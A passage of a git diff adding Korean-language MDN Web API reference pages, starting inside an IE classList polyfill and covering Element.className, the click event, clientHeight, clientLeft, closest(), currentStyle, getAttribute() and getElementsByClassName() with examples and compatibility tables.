+        a: for(var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v!==argLen; ++v) {
+            val = arguments[v] + "", checkIfValidClassListEntry("add", val);
+            for (var i=0, Len=proto.length, resStr=val; i !== Len; ++i)
+                if (this[i] === val) continue a; else resStr += " " + this[i];
+            this[Len] = val, proto.length += 1, proto.value = resStr;
+        }
+        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+    };
+    DOMTokenList.prototype.remove = function(){
+        for (var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v !== argLen; ++v) {
+            val = arguments[v] + "", checkIfValidClassListEntry("remove", val);
+            for (var i=0, Len=proto.length, resStr="", is=0; i !== Len; ++i)
+                if(is){ this[i-1]=this[i] }else{ if(this[i] !== val){ resStr+=this[i]+" "; }else{ is=1; } }
+            if (!is) continue;
+            delete this[Len], proto.length -= 1, proto.value = resStr;
+        }
+        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+    };
+    window.DOMTokenList = DOMTokenList;
+    function whenPropChanges(){
+        var evt = window.event, prop = evt.propertyName;
+        if ( !skipPropChange && (prop==="className" || (prop==="classList" && !defineProperty)) ) {
+            var target = evt.srcElement, protoObjProto = target[" uCLp"], strval = "" + target[prop];
+            var tokens=strval.trim().split(wsRE), resTokenList=target[prop==="classList"?" uCL":"classList"];
+            var oldLen = protoObjProto.length;
+            a: for(var cI = 0, cLen = protoObjProto.length = tokens.length, sub = 0; cI !== cLen; ++cI){
+                for(var innerI=0; innerI!==cI; ++innerI) if(tokens[innerI]===tokens[cI]) {sub++; continue a;}
+                resTokenList[cI-sub] = tokens[cI];
+            }
+            for (var i=cLen-sub; i < oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+            if(prop !== "classList") return;
+            skipPropChange = 1, target.classList = resTokenList, target.className = strval;
+            skipPropChange = 0, resTokenList.length = tokens.length - sub;
+        }
+    }
+    function polyfillClassList(ele){
+        if (!ele || !("innerHTML" in ele)) throw TypeError("Illegal invocation");
+        ele.detachEvent( "onpropertychange", whenPropChanges ); // prevent duplicate handler infinite loop
+        allowTokenListConstruction = 1;
+        try{ function protoObj(){} protoObj.prototype = new DOMTokenList(); }
+        finally { allowTokenListConstruction = 0 }
+        var protoObjProto = protoObj.prototype, resTokenList = new protoObj();
+        a: for(var toks=ele.className.trim().split(wsRE), cI=0, cLen=toks.length, sub=0; cI !== cLen; ++cI){
+            for (var innerI=0; innerI !== cI; ++innerI) if (toks[innerI] === toks[cI]) { sub++; continue a; }
+            this[cI-sub] = toks[cI];
+        }
+        protoObjProto.length = cLen-sub, protoObjProto.value = ele.className, protoObjProto[" uCL"] = ele;
+        if (defineProperty) { defineProperty(ele, "classList", { // IE8 & IE9 allow defineProperty on the DOM
+            enumerable:   1, get: function(){return resTokenList},
+            configurable: 0, set: function(newVal){
+                skipPropChange = 1, ele.className = protoObjProto.value = (newVal += ""), skipPropChange = 0;
+                var toks = newVal.trim().split(wsRE), oldLen = protoObjProto.length;
+                a: for(var cI = 0, cLen = protoObjProto.length = toks.length, sub = 0; cI !== cLen; ++cI){
+                    for(var innerI=0; innerI!==cI; ++innerI) if(toks[innerI]===toks[cI]) {sub++; continue a;}
+                    resTokenList[cI-sub] = toks[cI];
+                }
+                for (var i=cLen-sub; i < oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+            }
+        }); defineProperty(ele, " uCLp", { // for accessing the hidden prototype
+            enumerable: 0, configurable: 0, writeable: 0, value: protoObj.prototype
+        }); defineProperty(protoObjProto, " uCL", {
+            enumerable: 0, configurable: 0, writeable: 0, value: ele
+        }); } else { ele.classList=resTokenList, ele[" uCL"]=resTokenList, ele[" uCLp"]=protoObj.prototype; }
+        ele.attachEvent( "onpropertychange", whenPropChanges );
+    }
+    try { // Much faster & cleaner version for IE8 & IE9:
+        // Should work in IE8 because Element.prototype instanceof Node is true according to the specs
+        window.Object.defineProperty(window.Element.prototype, "classList", {
+            enumerable: 1,   get: function(val){
+                                 if (!hasOwnProp.call(this, "classList")) polyfillClassList(this);
+                                 return this.classList;
+                             },
+            configurable: 0, set: function(val){this.className = val}
+        });
+    } catch(e) { // Less performant fallback for older browsers (IE 6-8):
+        window[" uCL"] = polyfillClassList;
+        // the below code ensures polyfillClassList is applied to all current and future elements in the doc.
+        document.documentElement.firstChild.appendChild(document.createElement('style')).styleSheet.cssText=(
+            '_*{x-uCLp:expression(!this.hasOwnProperty("classList")&&window[" uCL"](this))}' + //  IE6
+            '[class]{x-uCLp/**/:expression(!this.hasOwnProperty("classList")&&window[" uCL"](this))}' //IE7-8
+        );
+    }
+})(window);
+// 3. Patch in unsupported methods in DOMTokenList
+(function(DOMTokenListProto, testClass){
+    if (!DOMTokenListProto.item) DOMTokenListProto.item = function(i){
+        function NullCheck(n) {return n===void 0 ? null : n} return NullCheck(this[i]);
+    };
+    if (!DOMTokenListProto.toggle || testClass.toggle("a",0)!==false) DOMTokenListProto.toggle=function(val){
+        if (arguments.length > 1) return (this[arguments[1] ? "add" : "remove"](val), !!arguments[1]);
+        var oldValue = this.value;
+        return (this.remove(oldValue), oldValue === this.value && (this.add(val), true) /*|| false*/);
+    };
+    if (!DOMTokenListProto.replace || typeof testClass.replace("a", "b") !== "boolean")
+        DOMTokenListProto.replace = function(oldToken, newToken){
+            checkIfValidClassListEntry("replace", oldToken), checkIfValidClassListEntry("replace", newToken);
+            var oldValue = this.value;
+            return (this.remove(oldToken), this.value !== oldValue && (this.add(newToken), true));
+        };
+    if (!DOMTokenListProto.contains) DOMTokenListProto.contains = function(value){
+        for (var i=0,Len=this.length; i !== Len; ++i) if (this[i] === value) return true;
+        return false;
+    };
+    if (!DOMTokenListProto.forEach) DOMTokenListProto.forEach = function(f){
+        if (arguments.length === 1) for (var i = 0, Len = this.length; i !== Len; ++i) f( this[i], i, this);
+        else for (var i=0,Len=this.length,tArg=arguments[1]; i !== Len; ++i) f.call(tArg, this[i], i, this);
+    };
+    if (!DOMTokenListProto.entries) DOMTokenListProto.entries = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex<that.length ? {value: [nextIndex, that[nextIndex]], done: false} : {done: true};
+        }};
+    };
+    if (!DOMTokenListProto.values) DOMTokenListProto.values = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex<that.length ? {value: that[nextIndex], done: false} : {done: true};
+        }};
+    };
+    if (!DOMTokenListProto.keys) DOMTokenListProto.keys = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex<that.length ? {value: nextIndex, done: false} : {done: true};
+        }};
+    };
+})(window.DOMTokenList.prototype, window.document.createElement("div").classList);
+})(window);
+
+ +

Caveats

+ +

The polyfill is limited in functionality. It's currently unable to polyfill out-of-document-elements (e.g. elements created by document.createElement before they are appended to a parent node) in IE6-7.

+ +

However, it should work just fine in IE9. A major discrepancy between the polyfilled version of classList and the W3 specs is that for IE6-8, there is no way to create an immutable object (an object whose properties cannot be directly modified). In IE9, however, it is possible through extending the prototype, freezing the visible object, and overwritting native property methods. However, such actions would not work in IE6-IE8 and, in IE9, slow the performance of the entire webpage to a snail's crawl, making these modifications completely impractical for this polyfill.

+ +

A minor note is that in IE6-7, this polyfill uses the window[" uCL"] property on the window object for communicating with the CSS expressions, the x-uCLp css property on all elements, and the element[" uCL"] property on all elements to allow garbage collection and boost performance. In all polyfilled browsers (IE6-9), an additional element[" uCLp"] property is added to element to ensure standards compliant prototyping, and a DOMTokenList[" uCL"]property is added to each element["classList"] object to ensure that the DOMTokenList is bounded to its own element.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName("DOM WHATWG", "#dom-element-classlist", "Element.classList")}}{{Spec2("DOM WHATWG")}}Initial definition
{{SpecName("DOM4", "#dom-element-classlist", "Element.classList")}}{{Spec2("DOM4")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element.classList")}}

+ +

참고

+ + diff --git a/files/ko/web/api/element/classname/index.html b/files/ko/web/api/element/classname/index.html new file mode 100644 index 0000000000..866678adb2 --- /dev/null +++ b/files/ko/web/api/element/classname/index.html @@ -0,0 +1,122 @@ +--- +title: Element.className +slug: Web/API/Element/className +translation_of: Web/API/Element/className +--- +
{{APIRef("DOM")}}
+ +

개요

+ +

className 특정 엘리먼트의 클래스 속성의 값을 가져오거나 설정할 수 있다.

+ +

문법

+ +
var cName = elementNodeReference.className;
+elementNodeReference.className = cName;
+ + + +

예제

+ +
let elm = document.getElementById('item');
+
+if(elm.className === 'active'){
+    elm.className = 'inactive';
+} else {
+    elm.className = 'active';
+}
+ +

주의

+ +

많은 언어에서 DOM 조작을 위해 사용되는 "class " 키워드와의 혼란을 줄이기 위하여 class 대신 className이라는 프로퍼티 명을 사용한다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
명세서상태주석
{{SpecName("DOM WHATWG", "#dom-element-classname", "element.className")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-element-classname", "element.className")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 HTML", "html.html#ID-95362176", "element.className")}}{{Spec2("DOM2 HTML")}}Initial definition
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

살펴보기

+ + diff --git a/files/ko/web/api/element/click_event/index.html b/files/ko/web/api/element/click_event/index.html new file mode 100644 index 0000000000..97a03f2921 --- /dev/null +++ b/files/ko/web/api/element/click_event/index.html @@ -0,0 +1,227 @@ +--- +title: click +slug: Web/API/Element/click_event +tags: + - API + - DOM + - Event + - Interface + - Reference +translation_of: Web/API/Element/click_event +--- +
{{APIRef}}
+ +

click 이벤트는 포인팅 디바이스 버튼(일반적으로 마우스 기본 버튼)이 하나의 요소(엘리먼트)에서 눌려지고 놓을 때 시작합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Interface{{domxref("MouseEvent")}}
Sync / AsyncSync
BubblesYes
CancelableYes
Target{{domxref("Element")}}
ComposedYes
Default ActionVaries
+ +

속성

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}이벤트 타겟 (DOM 트리 내에서의 최상위 타겟).
type {{readonlyInline}}{{domxref("DOMString")}}이벤트의 타입.
bubbles {{readonlyInline}}{{domxref("Boolean")}}이벤트가 정상적으로 버블을 발생시키는지 여부
cancelable {{readonlyInline}}{{domxref("Boolean")}}이벤트 취소 가능 여부
view {{readonlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (문서의 window)
detail {{readonlyInline}}long (float)짧은 시간 내에 발생한 연속 클릭 수로, 1씩 증가합니다.
currentTarget {{readonlyInline}}{{domxref("EventTarget")}}이벤트 리스너가 연결된 노드.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}}ouseover, mouseout, mouseenter, mouseleave 이벤트: 이벤트에 대한 보조 타겟 (mouseenter 의 경우는 mouseleave 타겟). 그렇지 않으면 null을 반환합니다.
screenX {{readonlyInline}}long글로벌(스크린) 좌표에서 마우스 포인터의 X 좌표.
screenY {{readonlyInline}}long글로벌(스크린) 좌표에서 마우스 포인터의 Y 좌표.
clientX {{readonlyInline}}long로컬(DOM 컨텐츠) 좌표에서 마우스 포인터의 X 좌표.
clientY {{readonlyInline}}long로컬(DOM 컨텐츠) 좌표에서 마우스 포인터의 Y 좌표.
button {{readonlyInline}}unsigned short마우스 이벤트가 발생했을 때 누른 버튼 번호: 왼쪽 버튼=0, 가운데 버튼=1 (있다면), 오른쪽 버튼=2. 왼손잡이용 마우스의 경우 버튼 동작을 반대로하면, 값은 오른쪽에서 왼쪽으로 읽습니다.
buttons {{readonlyInline}}unsigned short마우스 이벤트가 발생했을 때 눌려진 버튼: 왼쪽 버튼=1, 오른쪽 버튼=2, 가운데(휠) 버튼=4, 4번째 버튼(일반적으로 브라우저의 뒤로가기 버튼)=8, 5번째 버튼 (일반적으로 앞으로가기 버튼)=16. 두개 이상의 버튼을 누르면, 값의 논리합이 반환됩니다. 예를 들어 왼쪽 버튼과 오른쪽 버튼을 누르면 3이 반환됩니다. (1 | 2). 보다 자세한건 여기를 참조하세요.
mozPressure {{readonlyInline}}float이벤트를 발생시킬 때 터치 또는 탭 장치에 적용되는 압력의 양; 이 값의 범위는 0.0(최소 압력)과 1.0(최대 압력) 사이 입니다.
ctrlKey {{readonlyInline}}{{domxref("Boolean")}}이벤트가 발생했을 때 컨트롤 키가 눌러져 있으면 true 그렇지 않으면 false 를 반환합니다.
shiftKey {{readonlyInline}}{{domxref("Boolean")}}이벤트가 발생했을 때 시프트 키가 눌러져 있으면 true 그렇지 않으면 false 를 반환합니다.
altKey {{readonlyInline}}{{domxref("Boolean")}}이벤트가 발생했을 때 알트 키가 눌러져 있으면 true 그렇지 않으면 false 를 반환합니다.
metaKey {{readonlyInline}}{{domxref("Boolean")}}이벤트가 발생했을 때 메타 키가 눌러져 있으면 true 그렇지 않으면 false 를 반환합니다.
+ +

예제

+ +

다음 예제는 {{htmlelement("button")}}의 연속한 클릭 수를 표시합니다.

+ +

HTML

+ +
<button>Click</button>
+
+ +

JavaScript

+ +
const button = document.querySelector('button');
+
+button.addEventListener('click', event => {
+  button.innerHTML = `클릭 수: ${event.detail}`;
+});
+
+ +

결과

+ +

빠르고 반복적인 클릭으로 카운터를 늘려보세요. 클릭 중간에 쉬면 숫자가 초기화됩니다.

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('UI Events', '#event-type-click')}}{{Spec2('UI Events')}}Specifies this event as composed.
{{SpecName('DOM3 Events', '#event-type-click', 'click')}}{{Spec2('DOM3 Events')}} 
{{SpecName('DOM2 Events', '#Events-eventgroupings-mouseevents-h3', 'click')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Element.click_event")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/element/clientheight/index.html b/files/ko/web/api/element/clientheight/index.html new file mode 100644 index 0000000000..764e72b18d --- /dev/null +++ b/files/ko/web/api/element/clientheight/index.html @@ -0,0 +1,70 @@ +--- +title: Element.clientHeight +slug: Web/API/Element/clientHeight +translation_of: Web/API/Element/clientHeight +--- +

{{ APIRef() }}

+ +

읽기 전용 속성인 Element.clientHeight 엘리먼트의 내부 높이를 픽셀로 반환합니다. 이 내부 높이라는 것은 내부 여백(padding)을 포함하지만, 수평 스크롤바의 높이, 경계선, 또는 외부 여백(margin)은 포함하지 않습니다.

+ +

clientHeight는 CSS상의 높이 + CSS상의 내부 여백 - 수평 스크롤바의 높이(존재하는 경우에만)로  계산됩니다.

+ +
+

Note: 이 속성은 integer로 반올림됩니다. 소수점이 포함된 값이 필요하다면, {{ domxref("element.getBoundingClientRect()") }}을 사용하시기 바랍니다.

+
+ +

구문

+ +
var h = element.clientHeight;
+ +

h는 엘리먼트의 높이를 나타내는 픽셀 단위의 integer입니다.

+ +

+ +
+
+

padding-top

+ +

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

+ +

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

+ +

Cat image and text coming from http://www.best-cat-art.com/

+ +

padding-bottom

+
+LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom
+ +

 

+ +

스펙 정의

+ + + + + + + + + + + + + + + + +
스펙상태코멘트
{{SpecName('CSSOM View', '#dom-htmlelement-clientheight', 'clientheight')}}{{Spec2('CSSOM View')}} 
+ +

주의

+ +

clientHeight는 Internet Explorer의 객체 모델에서 소개된 속성입니다.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/element/clientleft/index.html b/files/ko/web/api/element/clientleft/index.html new file mode 100644 index 0000000000..9e7afd0a4e --- /dev/null +++ b/files/ko/web/api/element/clientleft/index.html @@ -0,0 +1,66 @@ +--- +title: Element.clientLeft +slug: Web/API/Element/clientLeft +translation_of: Web/API/Element/clientLeft +--- +
{{ APIRef("DOM") }}
+ +

엘리먼트의 왼쪽 테두리의 너비 (픽셀 단위)입니다. 엘리먼트의 텍스트 방향이 오른쪽에서 왼쪽이고 오버플로로 인해 왼쪽 수직 스크롤 막대가 렌더링되는 경우 수직 스크롤 막대의 너비가 포함됩니다. clientLeft는 왼쪽 여백 또는 왼쪽 패딩을 포함하지 않습니다. clientLeft는 읽기 전용입니다.

+ +

Gecko 기반 응용 프로그램은 Gecko 1.9부터 clientLeft를 지원합니다. (Firefox 3, {{ Bug(111207) }}에서 구현됨). 이 속성은 Firefox 2 이전 버전은 지원하지 않습니다.

+ +

layout.scrollbar.side 환경 설정이 1 또는 3으로 설정되고 텍스트 방향이 RTL로 설정된 경우 세로 스크롤 막대가 왼쪽에 배치되며 이는 clientLeft가 계산되는 방식에 영향을줍니다.

+ +
+

Note: 이 속성은 값을 정수로 반올림합니다. 소수점 단위 값이 필요할 경우, {{ domxref("element.getBoundingClientRect()") }}을 사용하십시오.

+
+ +

Syntax

+ +
var left = element.clientLeft;
+
+ +

Example

+ +
+
+

padding-top

+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

+ +

Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

+ +

padding-bottom

+
+Left Top Right Bottom margin-top margin-bottom border-top border-bottom
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-element-clientleft', 'clientLeft')}}{{Spec2("CSSOM View")}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.Element.clientLeft")}}

+ +

Notes

+ +

clientLeft was first introduced in the MS IE DHTML object model.

+ +

The position of the vertical scrollbar in right–to–left text direction set on the element will depend on the layout.scrollbar.side preference

+ +

When element has display: inline, then clientLeft returns 0 regardless of the element's border.

diff --git a/files/ko/web/api/element/closest/index.html b/files/ko/web/api/element/closest/index.html new file mode 100644 index 0000000000..2bafcaa294 --- /dev/null +++ b/files/ko/web/api/element/closest/index.html @@ -0,0 +1,145 @@ +--- +title: Element.closest() +slug: Web/API/Element/closest +translation_of: Web/API/Element/closest +--- +
{{APIRef('DOM')}}
+ +
+ +
기준 {{domxref("Element")}} 에서부터 closest() 메소드를 통해 자신부터 부모 요소 단위로 출발하여 각 요소가 지정한 선택자에 만족할 때까지 탐색한다(문서 루트까지 이동). 이 중 가장 가깝게 조건에 만족한 부모 요소가 반환되며, 조건에 만족한 요소가 없으면 null 값을 반환한다.
+ +

Syntax

+ +
var closestElement = targetElement.closest(selectors);
+
+ +

Parameters

+ + + +

Result value

+ + + +

Exceptions

+ + + +

Example

+ +

HTML

+ +
<article>
+  <div id="div-01">Here is div-01
+    <div id="div-02">Here is div-02
+      <div id="div-03">Here is div-03</div>
+    </div>
+  </div>
+</article>
+ +

JavaScript

+ +
var el = document.getElementById('div-03');
+
+var r1 = el.closest("#div-02");
+// id=div-02 조건이 만족하므로 속성을 가진 부모 요소가 반환된다.
+
+var r2 = el.closest("div div");
+// div 요소에 만족한 요소 중 div 자식을 가리키므로, id=div-03 자신이 만족된다.
+
+var r3 = el.closest("article > div");
+// 가장 가까운 article 요소 바로 하위의 div 요소 id=div-01 속성을 가진 요소가 반환된다.
+
+var r4 = el.closest(":not(div)");
+// div 요소가 아닌 가장 가까운 부모 article 요소가 반환된다.
+ +

Polyfill

+ +

아래 폴리필은 Element.closest(), 메소드를 지원하지 않는 브라우저를 위한 방법이지만, element.matches() 메소드를 사용하므로 IE 9 이상에서 동작한다.

+ +
if (!Element.prototype.matches) {
+  Element.prototype.matches = Element.prototype.msMatchesSelector ||
+                              Element.prototype.webkitMatchesSelector;
+}
+
+if (!Element.prototype.closest) {
+  Element.prototype.closest = function(s) {
+    var el = this;
+
+    do {
+      if (el.matches(s)) return el;
+      el = el.parentElement || el.parentNode;
+    } while (el !== null && el.nodeType === 1);
+    return null;
+  };
+}
+ +

만약 정말 IE 8 지원을 고려해야 한다면, 아래 폴리필을 사용할 수 있다. 그러나 해당 폴리필은 성능이 매우 느리며, IE 8 특성 상 CSS 2.1 사양의 선택자까지밖에 사용할 수 없다. 또한 실제 운영 시 약간의 지연이 발생할 수 있다.

+ +
if (window.Element && !Element.prototype.closest) {
+  Element.prototype.closest =
+  function(s) {
+    var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+        i,
+        el = this;
+    do {
+      i = matches.length;
+      while (--i >= 0 && matches.item(i) !== el) {};
+    } while ((i < 0) && (el = el.parentElement));
+    return el;
+  };
+}
+
+ +

규격

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-closest', 'Element.closest()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Element.closest")}}

+ +

Compatibility notes

+ + +
+ +

같이보기

+ + diff --git a/files/ko/web/api/element/currentstyle/index.html b/files/ko/web/api/element/currentstyle/index.html new file mode 100644 index 0000000000..a18422e884 --- /dev/null +++ b/files/ko/web/api/element/currentstyle/index.html @@ -0,0 +1,80 @@ +--- +title: Element.currentStyle +slug: Web/API/Element/currentStyle +tags: + - 돔 + - 속성 추출 + - 요소 속성 +translation_of: Web/API/Element/currentStyle +--- +
{{APIRef("DOM")}}
+ +

{{ Non-standard_header() }}

+ +

Summary

+ +

Element.currentStyle 은 표준화된 {{domxref("window.getComputedStyle")}} 메서드의 인터넷 익스플로러 전용 대체 프로퍼티입니다. 오래된 버젼의 인터넷 익스플로러에서 사용 가능합니다.

+ +

Specification

+ +

명세에 포함 되는 부분이 아닙니다.

+ +

마이크로소프트 MSDN에 설명이 있습니다.

+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +

See also

+ + diff --git a/files/ko/web/api/element/getattribute/index.html b/files/ko/web/api/element/getattribute/index.html new file mode 100644 index 0000000000..c8f3947310 --- /dev/null +++ b/files/ko/web/api/element/getattribute/index.html @@ -0,0 +1,53 @@ +--- +title: Element.getAttribute() +slug: Web/API/Element/getAttribute +tags: + - API + - DOM + - 속성 +translation_of: Web/API/Element/getAttribute +--- +
{{APIRef}}
+ +

요약

+ +

getAttribute() 은 해당 요소에 지정된 값을 반환 합니다. 만약 주어진 속성이 존재 하지 않는 다면, null 값이나 ""(빈문자열); 을 반환 할 것입니다. 자세한 사항은 {{Anch("Notes")}}  참조 하십시오.

+ +

문법

+ +
var attribute = element.getAttribute(attributeName);
+
+ + + +

예제

+ +
let div1 = document.getElementById("div1");
+let align = div1.getAttribute("align");
+
+alert(align); // id가 "div1"인 요소(element)의 align 값을 보여줍니다.
+
+ +

Notes

+ +

When called on an HTML element in a DOM flagged as an HTML document, getAttribute() lower-cases its argument before proceeding.

+ +

Essentially all web browsers (Firefox, Internet Explorer, recent versions of Opera, Safari, Konqueror, and iCab, as a non-exhaustive list) return null when the specified attribute does not exist on the specified element; this is what the current DOM specification draft specifies. The old DOM 3 Core specification, on the other hand, says that the correct return value in this case is actually the empty string, and some DOM implementations implement this behavior. The implementation of getAttribute() in XUL (Gecko) actually follows the DOM 3 Core specification and returns an empty string. Consequently, you should use {{domxref("element.hasAttribute()")}} to check for an attribute's existence prior to calling getAttribute() if it is possible that the requested attribute does not exist on the specified element.

+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Element.getAttribute")}}

+
+ +

Specification

+ + diff --git a/files/ko/web/api/element/getelementsbyclassname/index.html b/files/ko/web/api/element/getelementsbyclassname/index.html new file mode 100644 index 0000000000..f33e43b019 --- /dev/null +++ b/files/ko/web/api/element/getelementsbyclassname/index.html @@ -0,0 +1,108 @@ +--- +title: Element.getElementsByClassName() +slug: Web/API/Element/getElementsByClassName +translation_of: Web/API/Element/getElementsByClassName +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Element")}}의 메소드 getElementsByClassName() 는 주어진 클래스를 가진 모든 자식 엘리먼트의 실시간 {{domxref("HTMLCollection")}} 을 반환합니다.

+ +

{{domxref("Document")}}의 {{domxref("Document.getElementsByClassName", "getElementsByClassName()")}} 메소드는 도큐먼트 루트로부터 도큐먼트 전체를 탐색한다는 점을 제외하고는 동일하게 작동합니다. 

+ +

Syntax

+ +
var elements = element.getElementsByClassName(names);
+ +

Parameters

+ +
+
names
+
검색할 클래스 혹은 클래스들을 띄어쓰기로 구분한 {{domxref("DOMString")}}
+
+ +

Return value

+ +

실시간으로 업데이트되는 해당 클래스명을 가진 요소 목록의 {{domxref("HTMLCollection")}} 이 반환됩니다.

+ +

Usage notes

+ +

항상 그렇듯, 반환되는 collection은 실시간입니다. 즉, 함수가 호출된 이후에도 DOM 트리의 현재 상태가 반영됩니다. names 에 해당하는 클래스를 가진 요소가 하위에 추가되면, 그 요소는 즉시 collection에 나타납니다. 비슷하게, names 에 매칭되는 클래스를 갖고 있지 않은 요소에 매칭되는 클래스명이 적용되면, 그 요소 역시 즉시 collection에 나타나게 됩니다.

+ +

반대도 역시 마찬가지입니다. 클래스명이 더 이상 names 와 일치하지 않게 되면, collection으로 부터 즉시 제거됩니다.

+ +
+

호환모드에서는 클래스명의 대소문자를 구분하지 않습니다. 그 외의 경우에는, 대소문자를 구분합니다.

+
+ +

Examples

+ +

단일 클래스 찾기

+ +

요소들 중 하나의 클래스를 포함하고 있는 요소를 검색하기 위해서는, 그 클래스명을 getElementsByClassName()의 인자로 넣으세요:

+ +
element.getElementsByClassName('test');
+ +

아래의 예시는 main 이라는 id 를 가진 요소의 하위 요소들 중 test라는 클래스를 가진 모든 요소를 탐색합니다. 

+ +
document.getElementById('main').getElementsByClassName('test');
+ +

여러개의 클래스로 탐색하기

+ +

red 와 test 라는 클래스를 모두 포함하고 있는 요소를 탐색하기 위해서는 다음과 같이 합니다:

+ +
element.getElementsByClassName('red test');
+ +

결과값 검토하기

+ +

collection의 개별 요소를 가져오기 위해 HTMLCollection 의{{domxref("HTMLCollection.item", "item()")}} 메소드를 이용하거나 표준 배열 문법을 사용할 수 있습니다. 아래는 잘못된 코드의 예시입니다. "matches" 는 "colorbox" 클래스가 삭제됨에 따라 바로 변경될것이기 때문에  아래의 코드는 작동하지 않습니다.

+ +
var matches = element.getElementsByClassName('colorbox');
+
+for (var i=0; i<matches.length; i++) {
+  matches[i].classList.remove('colorbox');
+  matches.item(i).classList.add('hueframe');
+}
+
+ +

대신 다른 방법을 사용하세요. 예시:

+ +
var matches = element.getElementsByClassName('colorbox');
+
+while (matches.length > 0) {
+  matches.item(0).classList.add('hueframe');
+  matches[0].classList.remove('colorbox');
+}
+ +

위 코드는  "colorbox" 클래스를 가진 모든 자식 요소를 찾고, item(0) 을 호출해 "hueframe"이라는 클래스를 추가합니다 . 그리고 "colorbox"  클래스를 제거합니다(배열 표기법을 사용하여). 다른 요소 (만약 남아있다면) 가 item(0) 이 될 것입니다.

+ +

배열 함수를 이용해 결과값을 필터링하기

+ +

{{domxref("HTMLCollection")}}을 this 로 사용하면 {{jsxref("Array.prototype")}} 을 어떤 {{ domxref("HTMLCollection") }}에서든 사용할 수 있습니다. 아래의 예제에서는 test 클래스를 가진 모든 {{HTMLElement("div")}} 요소를 찾아봅니다 :

+ +
var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement) {
+  return testElement.nodeName === 'DIV';
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-getelementsbyclassname', 'Element.getElementsByClassName()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Element.getElementsByClassName")}}

diff --git a/files/ko/web/api/element/getelementsbytagname/index.html b/files/ko/web/api/element/getelementsbytagname/index.html new file mode 100644 index 0000000000..345a8503f4 --- /dev/null +++ b/files/ko/web/api/element/getelementsbytagname/index.html @@ -0,0 +1,136 @@ +--- +title: Element.getElementsByTagName() +slug: Web/API/Element/getElementsByTagName +translation_of: Web/API/Element/getElementsByTagName +--- +

